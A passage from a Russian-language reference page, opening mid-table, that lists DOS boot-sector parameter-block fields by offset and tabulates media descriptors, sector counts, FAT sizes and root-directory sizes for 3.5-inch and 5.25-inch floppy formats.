
    |         |       |крипторов файлов, содержащихся|

    |         |       |в корневом каталоге диска     |

    |---------|-------|------------------------------|

    |08h      |02     |Общее количество секторов на  |

    |         |       |носителе данных в разделе DOS |

    |_________|_______|______________________________|

    |0Ah      |01     |Байт - описатель среды носи-  |

    |         |       |теля данных                   |

    |---------|-------|------------------------------|

    |0Bh      |02     |Количество секторов,занимаемых|

    |         |       |одной копией FAT              |

    |_________|_______|______________________________|

    |0Dh      |02     |Количество секторов           |

    |         |       |на дорожке                    |

    |---------|-------|------------------------------|

    |0Fh      |02     |Количество головок накопителя |

    |---------|-------|------------------------------|

    |11h      |02     |Количество скрытых секторов   |

    |         |       |для раздела,который по размеру|

    |         |       |меньше 32 - х Мегабайт        |

    |---------|-------|------------------------------|

    |13h      |02     |Количество скрытых секторов   |

    |         |       |для раздела,который по размеру|

    |         |       |превышает 32 Мегабайта        |

    |         |       |( Используется только в       |

    |         |       |MS DOS 4.0 )                  |

    |---------|-------|------------------------------|

    |15h      |04     |Общее количество секторов на  |

    |         |       |логическом диске для раздела, |

    |         |       |который по размеру превышает  |

    |         |       |32 Мегабайта                  |

    |_________|_______|______________________________|

 

    Параметры дискет различных типов

    ( В таблицу не вошли данные о совсем старых диске-

    тах с объемом 320 Kb, 180 Kb, 120 Kb и других ) :

 

     ________________________________________________

    |Диаметр   |      |      |      |       |        |

    |диска     | 3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |

    |----------|------|------|------|-------|--------|

    |Емкость   |      |      |      |       |        |

    |диска, Kb | 2880 | 1440 | 720  | 1200  | 360    |

    |----------|------|------|------|-------|--------|

    |Media     |      |      |      |       |        |

    |Descryptor| F0h  | F0h  | F9h  | F9h   | FDh    |

    |----------|------|------|------|-------|--------|

    |Количество|      |      |      |       |        |

    |сторон    | 2    | 2    | 2    | 2     | 2      |

    |----------|------|------|------|-------|--------|

    |Количество|      |      |      |       |        |

    |дорожек   | 80   | 80   | 80   | 80    | 40     |

    |на стороне|      |      |      |       |        |

    |----------|------|------|------|-------|--------|

    |Количество|      |      |      |       |        |

    |секторов  | 36   | 18   | 9    | 15    | 9      |

    |на дорожке|      |      |      |       |        |

    |----------|------|------|------|-------|--------|

    |Размер    |      |      |      |       |        |

    |сектора   | 512  | 512  | 512  | 512   | 512    |

    |----------|------|------|------|-------|--------|

    |Количество|      |      |      |       |        |

    |секторов  | 2    | 1    | 2    | 1     | 2      |

    |в кластере|      |      |      |       |        |

    |----------|------|------|------|-------|--------|

    |Длина FAT |      |      |      |       |        |

    |в секторах| 9    | 9    | 3    | 7     | 2      |

    |----------|------|------|------|-------|--------|

    |Количество|      |      |      |       |        |

    |копий FAT | 2    | 2    | 2    | 2     | 2      |

    |----------|------|------|------|-------|--------|

    |Длина     |      |      |      |       |        |

    |корневого |      |      |      |       |        |

    |каталога  | 15   | 14   | 7    | 14    | 7      |

    |в секторах|      |      |      |       |        |

    |__________|______|______|______|_______|________|

 

 

 

 

Используются технологии uCoz

Rambler's Top100 Rambler's Top100

©  Adept Design Studio

Используются технологии uCoz